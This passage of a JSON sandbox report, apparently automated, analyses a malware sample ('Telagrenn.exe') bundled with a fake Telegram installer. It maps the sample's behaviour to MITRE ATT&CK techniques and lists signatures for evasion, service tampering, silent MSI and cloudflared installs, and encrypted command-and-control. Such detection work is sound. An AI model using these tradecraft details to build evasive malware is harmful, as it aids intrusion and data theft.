used to move file or directory"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"},{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops document files inside temp directory"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"malicious","value":"Contacts multiple hosts"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"PCAP contains base64 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"informative","value":"Able to use IDE tunneling for remote connection"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to change the configuration parameters of a service"},{"type":"informative","value":"Calls APIs used for Remove Service"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"Telagrenn.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Telagrenn.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Telagrenn.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister service from Service Control Manager","description":"Found string \"DeleteService\" (File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-690","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$25","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"Telagrenn.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\gentee2B (UID: 00000000-00002804)\n \"tsetup-x64.7.0.2.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-MJMQ8.tmp (UID: 00000000-00007176)\n \"tsetup-x64.7.0.2.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-BHBL5.tmp\\_isetup (UID: 00000000-00007736)\n \"tsetup-x64.7.0.2.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-BHBL5.tmp (UID: 00000000-00007736)\n \"D5rra.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-DUFEV.tmp (UID: 00000000-00006424)\n \"D5rra.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-CAG3H.tmp\\cloudflared_installer (UID: 00000000-00002688)\n \"D5rra.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-CAG3H.tmp\\_isetup (UID: 00000000-00002688)\n \"D5rra.tmp\" called \"RemoveDirectoryW\" with parameter %TEMP%\\is-CAG3H.tmp (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"Telagrenn.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"FreeLibraryAndExitThread\" (Indicator: \"FreeLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"Telagrenn.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfig2W\" (Indicator: \"ChangeServiceConfig\"; File: \"Telagrenn.exe\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"Telagrenn.exe\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Detected msiexec.exe process execution","description":"Process \"msiexec.exe\" with commandline \"/i \"%TEMP%\\\\is-CAG3H.tmp\\\\cf.msi\" /qn /norestart\" (UID: 00000000-00005572)\n","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":2,"id":"target-152","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002688.00000001.112157.00F08000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002804.00000000.106631.05110000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002804.00000002.110470.04DE0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002804.00000002.110470.05110000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007736.00000002.110904.00C5C000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\DISPLAY1; Source: \"00000000-00001040.00000000.110716.75670000.00000004.mdmp\")\n Found string - \\\\.\\DISPLAY1; Source: \"00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"Telegram.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at A5E30000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"Telagrenn.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"Telagrenn.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"cscript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cscript.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"tsetup-x64.7.0.2.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"tsetup-x64.7.0.2.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"tsetup-x64.7.0.2.tmp\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"tsetup-x64.7.0.2.tmp\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"PCAP contains base64 strings","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-504","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$2c","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"tsetup-x64.7.0.2.tmp\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"Telagrenn.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"Telagrenn.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00006424.00000001.112162.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetThreadPreferredUILanguages@KERNEL32.DLL at 00000000-00006424-18661-15-0009B718\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00006424-18661-22-00095568\n Found reference to API GetLongPathNameW@KERNEL32.DLL at 00000000-00006424-18661-148-0009BDF8\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00006424-18661-280-0009689C\n Found reference to API SetSearchPathMode@KERNEL32.DLL at 00000000-00006424-18661-4766-0013C10A","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptCreateHash\" (Indicator: \"CryptCreateHash\"; File: \"Telagrenn.exe\")\n Found api reference \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\"; File: \"Telagrenn.exe\")\n Found api reference \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\"; File: \"Telagrenn.exe\")\n Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"Telagrenn.exe\")\n Found api reference \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"Telagrenn.exe\")\n Found api reference \"CryptHashData\" (Indicator: \"CryptHashData\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptCreateHash\" (Indicator: \"CryptCreateHash\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptHashData\" (Indicator: \"CryptHashData\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptCreateHash\" (Indicator: \"CryptCreateHash\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"Telagrenn.exe\")\n Found reference to API \"CryptHashData\" (Indicator: \"CryptHashData\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001040.00000000.110716.7340C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: PCAP contains base64 strings\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; Source: \"00000000-00002316.00000000.110315.277E4000.00000004.mdmp, 00000000-00002316.00000001.112236.277E4000.00000004.mdmp, 00000000-00002316.00000002.114156.277E4000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResourceW\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"CoreLogic.dll\")\n Found string \"System.Identity.UserName\" (Source: 